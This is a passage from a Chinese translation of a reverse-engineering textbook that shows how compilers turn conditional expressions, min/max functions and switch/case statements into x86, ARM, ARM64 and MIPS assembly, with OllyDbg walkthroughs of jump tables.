adrp x0, .LC0 ; "it is not ten" add x0, x0, :lo12:.LC0 ret .LC0: .string "it is ten" .LC1: .string "it is not ten" ARM64 同样没有能够判断标志位的条件赋值指令。而 32 位的ARM指令集 ① 12.3.4 MIPS ,以及x86 的CMOVcc指 令都可以根据相应标志位进行条件赋值。虽然ARM64 存在“条件选择”指令CSEL(Conditional SELect), 但是GCC 4.9 似乎无法给这种程序分配上这条指令。 不幸的是,GCC 4.45 在编译 MIPS 程序方面的智能程度也有待完善。 指令清单 12.24 Optimizing GCC 4.4.5 (assembly output) $LC0: .ascii "it is not ten\000" $LC1: .ascii "it is ten\000" f: ① 请参阅 ARM13a,p390,C5.5。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 120 逆向工程权威指南(上册) li $2,10 # 0xa ; compare $a0 and 10, jump if equal: beq $4,$2,$L2 nop ; branch delay slot ; leave address of "it is not ten" string in $v0 and return: lui $2,%hi($LC0) j $31 addiu $2,$2,%lo($LC0) $L2: ; leave address of "it is ten" string in $v0 and return: lui $2,%hi($LC1) j $31 addiu $2,$2,%lo($LC1) 12.3.5 使用 if/else 替代条件运算符 const char* f (int a) { if (a==10) return "it is ten"; else return "it is not ten"; }; 启用优化功能之后,GCC 4.8 在编译 x86 程序时能够应用 CMOVcc 指令。 指令清单 12.25 Optimizing GCC 4.8 .LC0: .string "it is ten" .LC1: .string "it is not ten" f: .LFB0: ; compare input value with 10 cmp DWORD PTR [esp+4], 10 mov edx, OFFSET FLAT:.LC1 ; "it is not ten" mov eax, OFFSET FLAT:.LC0 ; "it is ten" ; if comparison result is Not Equal, copy EDX value to EAX ; if not, do nothing cmovne eax, edx ret Optimizing Keil 编译的 ARM 程序,与指令清单 12.21 相同。 但是启用优化功能的 MSVC 2012 仍然没有什么起色。 12.3.6 总结 启用优化功能之后,编译器会尽可能地避免使用条件转移指令。本书的 33.1 节将详细讲解这个问题。 12.4 比较最大值和最小值 12.4.1 32 位 int my_max(int a, int b) { if (a>b) return a; else return b; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 12 章 条件转移指令 121 }; int my_min(int a, int b) { if (a<b) return a; else return b; }; 指令清单 12.26 Non-optimizing MSVC 2013 _a$ = 8 _b$ = 12 _my_min PROC push ebp mov ebp, esp mov eax, DWORD PTR _a$[ebp] ; compare A and B: cmp eax, DWORD PTR _b$[ebp] ; jump, if A is greater or equal to B: jge SHORT $LN2@my_min ; reload A to EAX if otherwise and jump to exit mov eax, DWORD PTR _a$[ebp] jmp SHORT $LN3@my_min jmp SHORT $LN3@my_min ; this is redundant JMP $LN2@my_min: ; return B mov eax, DWORD PTR _b$[ebp] $LN3@my_min: pop ebp ret 0 _my_min ENDP _a$ = 8 _b$ = 12 _my_max PROC push ebp mov ebp, esp mov eax, DWORD PTR _a$[ebp] ; compare A and B: cmp eax, DWORD PTR _b$[ebp] ; jump if A is less or equal to B: jle SHORT $LN2@my_max ; reload A to EAX if otherwise and jump to exit mov eax, DWORD PTR _a$[ebp] jmp SHORT $LN3@my_max jmp SHORT $LN3@my_max ; this is redundant JMP $LN2@my_max: ; return B mov eax, DWORD PTR _b$[ebp] $LN3@my_max: pop ebp ret 0 _my_max ENDP 两个函数的唯一区别就是条件转移指令:第一个函数使用的是 JGE(Jump if Greater or Equal),而第二 个函数使用的是 JLE(Jump if Less or Equal)。 上述每个函数里都存在一个多余的 JMP 指令。这可能是 MSVC 的问题。 无分支指令的编译方法 Keil 编译的 Thumb 模式程序与 x86 程序有几分相似。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 122 逆向工程权威指南(上册) 指令清单 12.27 Optimizing Keil 6/2013 (Thumb mode) my_max PROC ; R0=A ; R1=B ; compare A and B: CMP r0,r1 ; branch if A is greater then B: BGT |L0.6| ; otherwise (A<=B) return R1 (B): MOVS r0,r1 |L0.6| ; return BX lr ENDP my_min PROC ; R0=A ; R1=B ; compare A and B: CMP r0,r1 ; branch if A is less then B: BLT |L0.14| ; otherwise (A>=B) return R1 (B): MOVS r0,r1 |L0.14| ; return BX lr ENDP 两个函数所用的转移指令不同:一个是 BGT,而另一个是 BLT。 在编译 ARM 模式程序时,编译器可能会使用条件执行指令(即“有分支”指令)。这种程序会显得更 为短小。在编译条件表达式时,Keil 编译器使用了 MOVcc 指令。 指令清单 12.28 Optimizing Keil 6/2013 (ARM mode) my_max PROC ; R0=A ; R1=B ; compare A and B: CMP r0,r1 ; return B instead of A by placing B in R0 ; this instruction will trigger only if A<=B (hence, LE - Less or Equal) ; if instruction is not triggered (in case of A>B), A is still in R0 register MOVLE r0,r1 BX lr ENDP my_min PROC ; R0=A ; R1=B ; compare A and B: CMP r0,r1 ; return B instead of A by placing B in R0 ; this instruction will trigger only if A>=B (hence, GE - Greater or Equal) ; if instruction is not triggered (in case of A<B), A value is still in R0 register MOVGE r0,r1 BX lr ENDP 在启用优化功能的情况下,GCC 4.8.1 和 MSVC 2013 都能使用 CMOVcc 指令。这个指令相当于 ARM 程序里的 MOVcc 指令。 指令清单 12.29 Optimizing MSVC 2013 my_max: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 12 章 条件转移指令 123 mov edx, DWORD PTR [esp+4] mov eax, DWORD PTR [esp+8] ; EDX=A ; EAX=B ; compare A and B: cmp edx, eax ; if A>=B, load A value into EAX ; the instruction idle if otherwise (if A<B) cmovge eax, edx ret my_min: mov edx, DWORD PTR [esp+4] mov eax, DWORD PTR [esp+8] ; EDX=A ; EAX=B ; compare A and B: cmp edx, eax ; if A<=B, load A value into EAX ; the instruction idle if otherwise (if A>B) cmovle eax, edx ret 12.4.2 64 位 #include <stdint.h> int64_t my_max(int64_t a, int64_t b) { if (a>b) return a; else return b; }; int64_t my_min(int64_t a, int64_t b) { if (a<b) return a; else return b; }; 虽然编译出来的程序里存在不必要的数据交换,但是代码功能一目了然。 指令清单 12.30 Non-optimizing GCC 4.9.1 ARM64 my_max: sub sp, sp, #16 str x0, [sp,8] str x1, [sp] ldr x1, [sp,8] ldr x0, [sp] cmp x1, x0 ble .L2 ldr x0, [sp,8] b .L3 .L2: ldr x0, [sp] .L3: add sp, sp, 16 ret my_min: sub sp, sp, #16 str x0, [sp,8] str x1, [sp] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 124 逆向工程权威指南(上册) ldr x1, [sp,8] ldr x0, [sp] cmp x1, x0 bge .L5 ldr x0, [sp,8] b .L6 .L5: ldr x0, [sp] .L6: add sp, sp, 16 ret 无分支指令的编译方法 既然函数参数就在寄存器里,那么就不必通过栈访问它们。 指令清单 12.31 Optimizing GCC 4.9.1 x64 my_max: ; RDI=A ; RSI=B ; compare A and B: cmp rdi, rsi ; prepare B in RAX for return: mov rax, rsi ; if A>=B, put A (RDI) in RAX for return. ; this instruction is idle if otherwise (if A<B) cmovge rax, rdi ret my_min: ; RDI=A ; RSI=B ; compare A and B: cmp rdi, rsi ; prepare B in RAX for return: mov rax, rsi ; if A<=B, put A (RDI) in RAX for return. ; this instruction is idle if otherwise (if A>B) cmovle rax, rdi ret MSVC 2013 的编译方法几乎一样。 ARM64 指令集里有 CSEL 指令。它相当于 ARM 指令集中的 MOVcc 指令,以及 x86 平台的 CMOVcc 指令。它只是名字不同:“Conditional SELect”。 指令清单 12.32 Optimizing GCC 4.9.1 ARM64 my_max: ; X0=A ; X1=B ; compare A and B: cmp x0, x1 ; select X0 (A) to X0 if X0>=X1 or A>=B (Greater or Equal) ; select X1 (B) to X0 if A<B csel x0, x0, x1, ge ret my_min: ; X0=A ; X1=B ; compare A and B: cmp x0, x1 ; select X0 (A) to X0 if X0<=X1 or A<=B (Less or Equal) ; select X1 (B) to X0 if A>B csel x0, x0, x1, le ret 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 12 章 条件转移指令 125 12.4.3 MIPS 不幸的是,GCC 4.4.5 在编译 MIPS 程序方面的智能化程度有限。 指令清单 12.33 Optimizing GCC 4.4.5 (IDA) my_max: ; set $v1 $a1<$a0,or clear otherwise (if $01>$a0): slt $v1, $a1, $a0 ; jump, if $v1 iso (or $a1>$a9): beqz $v1, locret_10 ; this is branch delay slot ; prepare $a1 in $v0 in case of branch triggered: move $v0, $a1 ; no branch triggered, prepare $a0 in $v0: move $v0, $a0 locret_10: jr $ra or $at, $zero ; branch delay slot, NOP ; the min() function is same, but input operands in SLT instruction are swapped: my_min slt $v1, $a0, $a1 beqz $v1, locret_28 move $v0, $a1 move $v0, $a0 locret_28: jr $ra or $at, $zero ; branch delay slot, NOP 请注意分支延时槽现象:第一个 MOVE 指令“先于”BEQZ 指令运行,而第二个 MOVE 指令仅在不 发生跳转的情况下才会被执行。 12.5 总结 条件转移指令的构造大体如下。 12.5.1 x86 指令清单 12.34 x86 CMP register, register/value Jcc true ; cc=condition code false: ... some code to be executed if comparison result is false ... JMP exit true: ... some code to be executed if comparison result is true ... exit: 12.5.2 ARM 指令清单 12.35 ARM CMP register, register/value Bcc true ; cc=condition code false: ... some code to be executed if comparison result is false ... JMP exit true: ... some code to be executed if comparison result is true ... exit: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 126 逆向工程权威指南(上册) 12.5.3 MIPS 指令清单 12.36 遇零跳转 BEQZ REG, label ... 指令清单 12.37 遇负数跳转 BLTZ REG, label ... 指令清单 12.38 值相等的情况下跳转 BEQ REG1, REG2, label ... 指令清单 12.39 值不等的情况下跳转 BNE REG1, REG2, label ... 指令清单 12.40 第一个值小于第二个值的情况下跳转(signed) SLT REG1, REG2, REG3 BEQ REG1, label ... 指令清单 12.41 第一个值小于第二个值的情况下跳转(unsigned) SLTU REG1, REG2, REG3 BEQ REG1, label ... 12.5.4 无分支指令(非条件指令) 如果条件语句十分短,那么编译器可能会分配条件执行指令:  编译 ARM 模式的程序时应用 MOVcc 指令。  编译 ARM64 程序时应用 CSEL 指令。  编译 x86 程序时应用 CMOVcc 指令。 ARM 在编译 ARM 模式的程序时,编译器可能用条件执行指令替代条件转移指令。 指令清单 12.42 ARM (ARM mode) CMP register, register/value instr1_cc ; some instruction will be executed if condition code is true instr2_cc ; some other instruction will be executed if other condition code is true ... etc ... 在被执行指令不修改任何标志位的情况下,程序可有任意多条的条件执行指令。 Thumb 模式的指令集里有 IT 指令。它可以把后续四条指令构成一个指令组,并且在条件表达式为真 的时候运行这组指令。详细介绍请参见本书的 17.7.2 节。 指令清单 12.43 ARM (Thumb mode) CMP register, register/value ITEEE EQ ; set these suffixes: if-then-else-else-else 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 12 章 条件转移指令 127 instr1 ; instruction will be executed if condition is true instr2 ; instruction will be executed if condition is false instr3 ; instruction will be executed if condition is false instr4 ; instruction will be executed if condition is false 12.6 练习题 请使用 CSFL 指令替代指令清单 12.23 中所有的条件转移语句。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 1133 章 章 sswwiittcchh(())//ccaassee//ddeeffaauulltt 13.1 case 陈述式较少的情况 本节将围绕这个例子进行讲解: #include <stdio.h> void f (int a) { switch (a) { case 0: printf ("zero\n"); break; case 1: printf ("one\n"); break; case 2: printf ("two\n"); break; default: printf ("something unknown\n"); break; }; }; int main() { f(2); //test }; 13.1.1 x86 Non-optimizing MSVC 使用 MSVC 2010 编译上述程序,可得到如下指令。 指令清单 13.1 MSVC 2010 tv64 = -4 ; size = 4 _a$ = 8 ; size = 4 _f PROC push ebp mov ebp, esp push ecx mov eax, DWORD PTR _a$[ebp] mov DWORD PTR tv64[ebp], eax cmp DWORD PTR tv64[ebp], 0 je SHORT $LN4@f cmp DWORD PTR tv64[ebp], 1 je SHORT $LN3@f cmp DWORD PTR tv64[ebp], 2 je SHORT $LN2@f jmp SHORT $LN1@f $LN4@f: push OFFSET $SG739 ; 'zero', 0aH, 00H call _printf add esp, 4 jmp SHORT $LN7@f $LN3@f: push OFFSET $SG741 ; 'one', 0aH, 00H call _printf add esp, 4 jmp SHORT $LN7@f $LN2@f: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 13 章 switch()/case/default 129 push OFFSET $SG743 ; 'two', 0aH, 00H call _printf add esp, 4 jmp SHORT $LN7@f $LN1@f: push OFFSET $SG745 ; 'something unknown', 0aH, 00H call _printf add esp, 4 $LN7@f: mov esp, ebp pop ebp ret 0 _f ENDP 上面这个函数的源程序相当于: void f (int a) { if (a==0) printf ("zero\n"); else if (a==1) printf ("one\n"); else if (a==2) printf ("two\n"); else printf ("something unknown\n"); }; 如果仅从汇编代码入手,那么我们无法判断上述函数是一个判断表达式较少的switch()语句、还是一组 if()语句。确实可以认为,switch()语句是一种旨在简化大量嵌套if()语句而设计的语法糖 ① 上面的汇编代码把输入参数a代入了临时的局部变量tv64,其余部分的指令都很好理解。 。 ② Optimizing MSVC 若用 GCC 4.4.1 编译器编译这个程序,无论是否启用其最大程度优化的选项“-O3”,生成的汇编代码 也和 MSVC 编译出来的代码没有什么区别。 经指令“c1 1.c /Fa1.asm /Ox”编译上述程序,可得到如下指令。 指令清单 13.2 MSVC _a$ = 8 ; size = 4 _f PROC mov eax, DWORD PTR _a$[esp-4] sub eax, 0 je SHORT $LN4@f sub eax, 1 je SHORT $LN3@f sub eax, 1 je SHORT $LN2@f mov DWORD PTR _a$[esp-4], OFFSET $SG791 ; 'something unknown', 0aH, 00H jmp _printf $LN2@f: mov DWORD PTR _a$[esp-4], OFFSET $SG789 ; 'two', 0aH, 00H jmp _printf $LN3@f: mov DWORD PTR _a$[esp-4], OFFSET $SG787 ; 'one', 0aH, 00H jmp _printf $LN4@f: mov DWORD PTR _a$[esp-4], OFFSET $SG785 ; 'zero', 0aH, 00H jmp _printf _f ENDP ① 即 syntactic sugar,指代增强代码可读性、降低编程出错率的语法改进措施。 ② MSVC 编译器在处理栈内的局部变量时,按照其需要,可能给这些内部变量分配以 tv 开头的宏变量。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 130 逆向工程权威指南(上册) 我们看到,它有以下两处不同。 第一处:程序把变量 a 存储到 EAX 寄存器之后,又用 EAX 的值减去零。似乎这样做并没有什么道理。但是 这两条指令可以检查 EAX 寄存器的值是否是零。如果 EAX 寄存器的值是零,ZF 标志寄存器会被置 1(也就是说 0−0=0,这就可以提前设置 ZF 标志位),并会触发第一条条件转移指令 JE,使程序跳转到 $LN4@f,继而在屏幕 上打印“Zero”。如果 EAX 寄存器的值仍然不是零,则不会触发第一条跳转指令、做“EAX=EAX-1”的运算, 若计算结果是零则做相应输出;若此时 EAX 寄存器的值仍然不是零,就会再做一次这种减法操作和条件判断。 如果三次运算都没能使 EAX 寄存器的值变为零,那么程序会输出最后一条信息“something unknown”。 第二处:在把字符串指针存储到变量 a 之后,函数使用 JMP 指令调用 printf()函数。在调用 printf()函 数的时候,调用方函数而没有使用常规的 call 指令。这点不难解释:调用方函数把参数推送入栈之后,的 确通常通过 CALL 指令调用其他函数。这种情况下,CALL 指令会把返回地址推送入栈、并通过无条件转 移的手段启用被调用方函数。就本例而言,在被调用方函数运行的任意时刻,栈的内存存储结构为:  ESP——指向 RA。  ESP+4——指向变量 a。 另一方面,在本例程序调用 printf()函数之前、之后,除了制各第一个格式化字符串的参数问题以外, 栈的存储结构其实没有发生变化。所以,编译器在分配 JMP 指令之前,把字符串指针存储到相应地址上。 这个程序把函数的第一个参数替换为字符串的指针,然后跳转到 printf()函数的地址,就好像程序没有 “调用”过 f()函数、直接“转移”了 printf()函数一般。当 printf()函数完成输出的使命以后,它会执行 RET 返 回指令。RET 指令会从栈中读取(POP)返回地址 RA、并跳转到 RA。不过这个 RA 不是其调用方函数—— f()函数内的某个地址,而是调用 f()函数的函数即 main()函数的某个地址。换而言之,跳转到这个 RA 地址 后,printf()函数会伴随其调用方函数 f()一同结束。 除非每个case从句的最后一条指令都是调用printf()函数,否则编译器就做不到这种程度的优化。某种 意义上说这与longjmp()函数 ① OllyDbg 十分相似。当然,这种优化的目的无非就是提高程序的运行速度。 ARM 编译器也有类似的优化,请参见本书的 6.2.1 节。 本节讲解使用 OllyDbg 调试这个程序的具体方法。 OllyDbg 可以识别 switch()语句的指令结构,而且能够自动地添加批注。最初的时候,EAX 的值、即 函数的输入参数为 2,如图 13.1 所示。 图 13.1 OllyDbg:观察 EAX 里存储的函数的第一个(也是唯一一个)参数 EAX 的值(2)减去 0。当然,EAX 里的值还是 2。此后 ZF 标志位被设为 0,代表着运算结果不是零, 如图 13.2 所示。 执行 DEC 指令之后,EAX 里的值为 1。但是 1 还不是零,ZF 标志位还是 0,如图 13.3 所示。 ① https://en.wikipedia.org/wiki/Setjmp.h。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 13 章 switch()/case/default 131 图 13.2 OllyDbg:执行第一个 SUB 指令 图 13.3 OllyDbg:执行第一条 DEC 指令 再次执行 DEC 指令,此时 EAX 里的值终成为是零了。因为运算结果为零,ZF 标志位被置位为 1,如 图 13.4 所示。 图 13.4 OllyDbg:执行第二条 DEC 指令 OllyDbg 提示将会触发条件转移指令,字符串“two”的指针即刻被推送入栈,如图 13.5 所示。 图 13.5 OllyDbg:函数的第一个参数被赋值为字符串指针 异步社区会员 dearfuture(15918834820) 专享 尊重版权 132 逆向工程权威指南(上册) 请注意:函数的当前参数是 2,它位于 0x0020FA44 处的栈。 MOV 指令把地址 0x0020FA44 的指针放入栈中,然后进行跳转。程序将执行文件 MSVCR100.DLL 里 的 printf()函数的第一条指令。为了便于演示,本例在编译程序时使用了/MD 开关,如图 13.6 所示。 图 13.6 OllyDbg:文件 MSVCR100.DLL 中 printf()函数的第一条指令 之后,printf()函数从地址 0x00FF3010 处读取它的唯一参数——字符串地址。然后函数会 stdout 设备(一 般来说,就是屏幕)上在打印字符串。 printf()函数的最后一条指令如图 13.7 所示: 图 13.7 OllyDbg:Printf()函数的最后一条指令 此时,字符串“two”就会被输出到控制台窗口(console)。 接下来,我们使用 F7 或 F8 键、单步执行这条返回指令。然而程序没有返回 f()函数,而是回到了主函 数 main(),如图 13.8 所示。 图 13.8 OllyDbg: 返回至 main()函数 正如你所看到的那样,程序从 printf()函数的内部直接返回到 main()函数。这是因为 RA 寄存器里存储 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 13 章 switch()/case/default 133 的返回地址确实不是 f()函数中的某个地址,而是 main()函数里的某个地址。请仔细观察返回地址的上一条 指令,即“CALL 0X00FF1000”指令。它同样还是调用函数(即调用 f())的指令。 13.1.2 ARM: Optimizing Keil 6/2013 (ARM mode) .text:0000014C f1: .text:0000014C 00 00 50 E3 CMP R0, #0 .text:00000150 13 0E 8F 02 ADREQ R0, aZero ; "zero\n" .text:00000154 05 00 00 0A BEQ loc_170 .text:00000158 01 00 50 E3 CMP R0, #1 .text:0000015C 4B 0F 8F 02 ADREQ R0, aOne ; "one\n" .text:00000160 02 00 00 0A BEQ loc_170 .text:00000164 02 00 50 E3 CMP R0, #2 .text:00000168 4A 0F 8F 12 ADRNE R0, aSomethingUnkno ; "something unknown\n" .text:0000016C 4E 0F 8F 02 ADREQ R0, aTwo ; "two\n" .text:00000170 .text:00000170 loc_170 ; CODE XREF: f1+8 .text:00000170 ; f1+14 .text:00000170 78 18 00 EA B __2printf 我们同样无法根据汇编指令判断源代码使用的是 switch()语句还是 if()语句。 此外,这段代码还出现了 ADRQ 指令之类的条件执行指令。第一条 ADREQ 指令会在 R0=0 的情况下, 将字符串“zero \n”的地址传给 R0。紧接其后都 BEQ 指令在相同的条件下把控制流转交给 loc_170。或许 有读者会问,ADREQ 之后的 BEQ 指令还能读取到前面由 CMP 设置的标志吗?这当然不是问题。只有少 数指令才会修改标志位寄存器的值,而一般的条件执行指令不会重设任何标志位。 其余的指令不难理解。程序只在尾部调用了一次 printf()函数。前面的 6.2.1 节讲解过编译器的这种处 理技术。最后,3 条逻辑分支都会收敛于同一个 printf()函数。 最后一条 CMP 指令是“CMP R0, #2”。它的作用是检查 a 是否为 2。如果条件不成立,程序将通过 ADRNE 指令把“something unknown \n”的指针赋值给 R0 寄存器。在此之前,程序已经检查过 a 是否是 0 或 1; 所以运行到这里时,我们已经可以确定变量 a 不是这两个值。如果 R0 的值为 2,那么 ADREQ 指令将把“two” 的指针传递给 R0 寄存器。 13.1.3 ARM: Optimizing Keil 6/2013 (Thumb mode) .text:000000D4 f1: .text:000000D4 10 B5 PUSH {R4,LR} .text:000000D6 00 28 CMP R0, #0 .text:000000D8 05 D0 BEQ zero_case .text:000000DA 01 28 CMP R0, #1 .text:000000DC 05 D0 BEQ one_case .text:000000DE 02 28 CMP R0, #2 .text:000000E0 05 D0 BEQ two_case .text:000000E2 91 A0 ADR R0, aSomethingUnkno ; "something unknown \n" .text:000000E4 04 E0 B default_case .text:000000E6 zero_case ; CODE XREF: f1+4 .text:000000E6 95 A0 ADR R0, aZero ; "zero\n" .text:000000E8 02 E0 B default_case .text:000000EA one_case ; CODE XREF: f1+8 .text:000000EA 96 A0 ADR R0, aOne ; "one\n" .text:000000EC 00 E0 B default_case .text:000000EE two_case ; CODE XREF: f1+C .text:000000EE 97 A0 ADR R0, aTwo ; "two\n" .text:000000F0 default_case ; CODE XREF: f1+10 .text:000000F0 ; f1+14 .text:000000F0 06 F0 7E F8 BL __2printf .text:000000F4 10 BD POP {R4, PC} 异步社区会员 dearfuture(15918834820) 专享 尊重版权 134 逆向工程权威指南(上册) 前文介绍说过,条件执行指令是 ARM 模式指令的特色之一。Thumb 模式的指令集里没有条件执行指 令。所以 Thumb 模式的指令更为接近 x86 CISC(复杂指令集)的指令,理解难度相对较低。 13.1.4 ARM64: Non-optimizing GCC (Linaro) 4.9 .LC12: .string "zero" .LC13: .string "one" .LC14: .string "two" .LC15: .string "something unknown" f12: stp x29, x30, [sp, -32]! add x29, sp, 0 str w0, [x29,28] ldr w0, [x29,28] cmp w0, 1 beq .L34 cmp w0, 2 beq .L35 cmp w0, wzr bne .L38 ; jump to default label adrp x0, .LC12 ; "zero" add x0, x0, :lo12:.LC12 bl puts b .L32 .L34: adrp x0, .LC13 ; "one" add x0, x0, :lo12:.LC13 bl puts b .L32 .L35: adrp x0, .LC14 ; "two" add x0, x0, :lo12:.LC14 bl puts b .L32 .L38: adrp x0, .LC15 ; "something unknown" add x0, x0, :lo12:.LC15 bl puts nop .L32: ldp x29, x30, [sp], 32 ret 因为输入变量属于整型数据,所以 ARM64 编译器没有给它分配 64 位的 X0 寄存器而是为它分配了容 量相当的 X0 寄存器。另外,本例用 ADRP/ADD 指令对向 puts()函数传递字符串指针。前文 3.4.5 节中的 “Hello,world!”也是这样传递参数的。 13.1.5 ARM64: Optimizing GCC (Linaro) 4.9 f12: cmp w0, 1 beq .L31 cmp w0, 2 beq .L32 cbz w0, .L35 ; default case adrp x0, .LC15 ; "something unknown" add x0, x0, :lo12:.LC15 b puts .L35: adrp x0, .LC12 ; "zero" add x0, x0, :lo12:.LC12 b puts .L32: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 13 章 switch()/case/default 135 adrp x0, .LC14 ; "two" add x0, x0, :lo12:.LC14 b puts .L31: adrp x0, .LC13 ; "one" add x0, x0, :lo12:.LC13 b puts 优化编译的效果显著。CBZ(Compare and Branch on Zero)会在 W0 的值为零的情况下进行跳转。此外,在调用 puts()函数的时候,本例使用的是 JMP 指令而非常规的 call 指令调用,这再现了 13.1.1 节出现过的函数调用方式。 13.1.6 MIPS 指令清单 13.3 Optimizing GCC 4.4.5(IDA) f: lui $gp, (__gnu_local_gp >> 16) ; is it 1? Li $v0, 1 beq $a0, $v0, loc_60 la $gp, (__gnu_local_gp & 0xFFFF) ; branch delay slot ; is it 2? Li $v0, 2 beq $a0, $v0, loc_4C or $at, $zero ; branch delay slot, NOP ; jump, if not equal to 0: bnez $a0, loc_38 or $at, $zero ; branch delay slot, NOP ; zero case: lui $a0, ($LC0 >> 16) # "zero" lw $t9, (puts & 0xFFFF)($gp) or $at, $zero ; load delay slot, NOP jr $t9 ; branch delay slot, NOP la $a0, ($LC0 & 0xFFFF) # "zero" ; branch delay slot # -------------------------------------------------------- loc_38: # CODE XREF: f+1C lui $a0, ($LC3 >> 16) # "something unknown" lw $t9, (puts & 0xFFFF)($gp) or $at, $zero ; load delay slot, NOP jr $t9 la $a0, ($LC3 & 0xFFFF) # "something unknown" ; branch delay slot # -------------------------------------------------------- loc_4C: # CODE XREF: f+14 lui $a0, ($LC2 >> 16) # "two" lw $t9, (puts & 0xFFFF)($gp) or $at, $zero ; load delay slot, NOP jr $t9 la $a0, ($LC2 & 0xFFFF) # "two" ; branch delay slot # -------------------------------------------------------- loc_60: # CODE XREF: f+8 lui $a0, ($LC1 >> 16) # "one" lw $t9, (puts & 0xFFFF)($gp) or $at, $zero ; load delay slot, NOP jr $t9 la $a0, ($LC1 & 0xFFFF) # "one" ; branch delay slot 在汇编层面,每个 case 分支的最后一条指令都是调用 puts()函数的指令。而且本例的每个 case 分支 都通过跳转指令 JR(Jump Register)调用 puts()函数,完全没有使用常规的函数调用指令 JAL (Jump And Link)。有关详细介绍,请参阅 13.1.1 节。 另外,参数 LW 指令之后有一条 NOP 指令。这种指令组合叫作“加载延迟槽/load delay slot”,是 MIPS 平台的另一种延迟槽。在 LW 指令从内存加载数据的时候,下面的那条指令可能和它并发执行。这样一来, LW 后面的那条指令就无法使用 LW 读取的数据了。当今主流的 MIPS CPU 都针对这一问题进行了优化, 异步社区会员 dearfuture(15918834820) 专享 尊重版权 136 逆向工程权威指南(上册) 在下一条指令 LW 的数据的情况下能够进行自动处理。虽然现在的 MIPS 处理器不再存在加载延时槽,但 是 GCC 还是会颇为保守地添加加载延迟槽。总之,我们已经可以忽视这种延迟槽了。 13.1.7 总结 在 case 分支较少的情况下,switch()语句和 if/else 语句的编译结果基本相同。指令清单 13.1 可充分论 证这个结论。 13.2 case 陈述式较多的情况 在 switch()语句存在大量 case()分支的情况下,编译器就不能直接套用大量 JE/JNE 指令了。否则程序 代码肯定会非常庞大。 #include <stdio.h> void f (int a) { switch (a) { case 0: printf ("zero\n"); break; case 1: printf ("one\n"); break; case 2: printf ("two\n"); break; case 3: printf ("three\n"); break; case 4: printf ("four\n"); break; default: printf ("something unknown\n"); break; }; }; int main() { f(2); // test }; 13.2.1 x86 Non-optimizing MSVC 使用 MSVC 2010 编译上述程序,可得到如下指令。 指令清单 13.4 MSVC 2010 tv64 = -4 ; size=4 _a$ = 8 ; size = 4 _f PROC push ebp mov ebp, esp push ecx mov eax, DWORD PTR _a$[ebp] mov DWORD PTR tv64[ebp], eax cmp DWORD PTR tv64[ebp], 4 ja SHORT $LN1@f mov ecx, DWORD PTR tv64[ebp] jmp DWORD PTR $LN11@f[ecx*4] $LN6@f: push OFFSET $SG739 ; 'zero', 0aH, 00H call _printf add esp, 4 jmp SHORT $LN9@f $LN5@f: push OFFSET $SG741 ; 'one', 0aH, 00H call _printf add esp, 4 jmp SHORT $LN9@f 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 13 章 switch()/case/default 137 $LN4@f: push OFFSET $SG743 ; 'two', 0aH, 00H call _printf add esp, 4 jmp SHORT $LN9@f $LN3@f: push OFFSET $SG745 ; 'three', 0aH, 00H call _printf add esp, 4 jmp SHORT $LN9@f $LN2@f: push OFFSET $SG747 ; 'four', 0aH, 00H call _printf add esp, 4 jmp SHORT $LN9@f $LN1@f: push OFFSET $SG749 ; 'something unknown', 0aH, 00H call _printf add esp, 4 $LN9@f: mov esp, ebp pop ebp ret 0 npad 2; align next label $LN11@f: DD $LN6@f ; 0 DD $LN5@f ; 1 DD $LN4@f ; 2 DD $LN3@f ; 3 DD $LN2@f ; 4 _f ENDP 这段代码可被分为数个调用 printf()函数的指令组,而且每组指令传递给 printf()函数的参数还各不相 同。这些指令组在内存中拥有各自的起始地址,也就被编译器分配到了不同的符号标签(symbolic label) 之后。总的来看,程序通过$LN11@f 处的一组数据调派这些符号标签。 函数最初把变量 a 的值与数字 4 进行比较。如果 a 大于 4,函数则跳转到$LN1@f处,把字符串“something unknown”的指针传递给 printf()函数。 如果变量 a 小于或等于 4,则会计算 a 乘以 4 的积,再计算积与$LN11@f 的偏移量的和(表查询), 并跳转到这个结果所指向的地址上。以变量 a 等于 2 的情况来说,2×4=8(由于 x86 系统的内存地址都是 32 位数据,所以$LN11@f 表中的每个地址都占用 4 字节)。在计算 8 与$LN11@f 的偏移量的和之后,再跳 转到这个和指向的标签——即$LN4@f 处。JMP 指令最终跳转到$LN4@f 的地址。 $LN11@f标签(偏移量)开始的表,叫作“转移表jumptable”,也叫作“转移(输出)表branchtable”。 ① OllyDbg 当 a 等于 2 的时候,程序分配给 printf()的参数是“two”。实际上,此时的 switch 语句的分支指令等 效于“jmp DWORD PTR $LN11@f[ecx*4]”。它会进行间接取值的操作,把指针“PTR{表达式}”所指 向 的 数 据读 取 出来 , 当 作 DWORD 型 数 据 传 递 给 JMP 指令 。 在这 个程 序 里,表 达 式 的值 为 $LN11@f+ecx*4。 此处出现的 npad 指令属于汇编宏,本书第 88 章会详细介绍它。它的作用是把紧接其后的标签地址向 4 字节(或 16 字节)边界对齐。npad 的地址对齐功能可提高处理器的 IO 读写效率,通过一次操作即可完 成内存总线、缓冲内存等设备的数据操作。 接下来使用 OllyDbg 调试这个程序。我们在 EAX=2 的时候进行调试,如图 13.9 所示。 ① 这个名称来自于 Fortran 早期的 GOTO 算法。虽然现在保留了这个名称,但是已经和那个概念没什么关系了。详情请参见 http://en.wikipedia.org/wiki/Branch_table。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 138 逆向工程权威指南(上册) 图 13.9 使用 OllyDbg 查看 EAX 获取输入值的情况 程序将检验输入值是否大于 4。因为 2<4,所以不会执行“default”规则的跳转,如图 13.10 所示。 图 13.10 OllyDbgEAX≤4,不会触发 default 规则的跳转 然后就开始处理转移表,如图 13.11 所示。 图 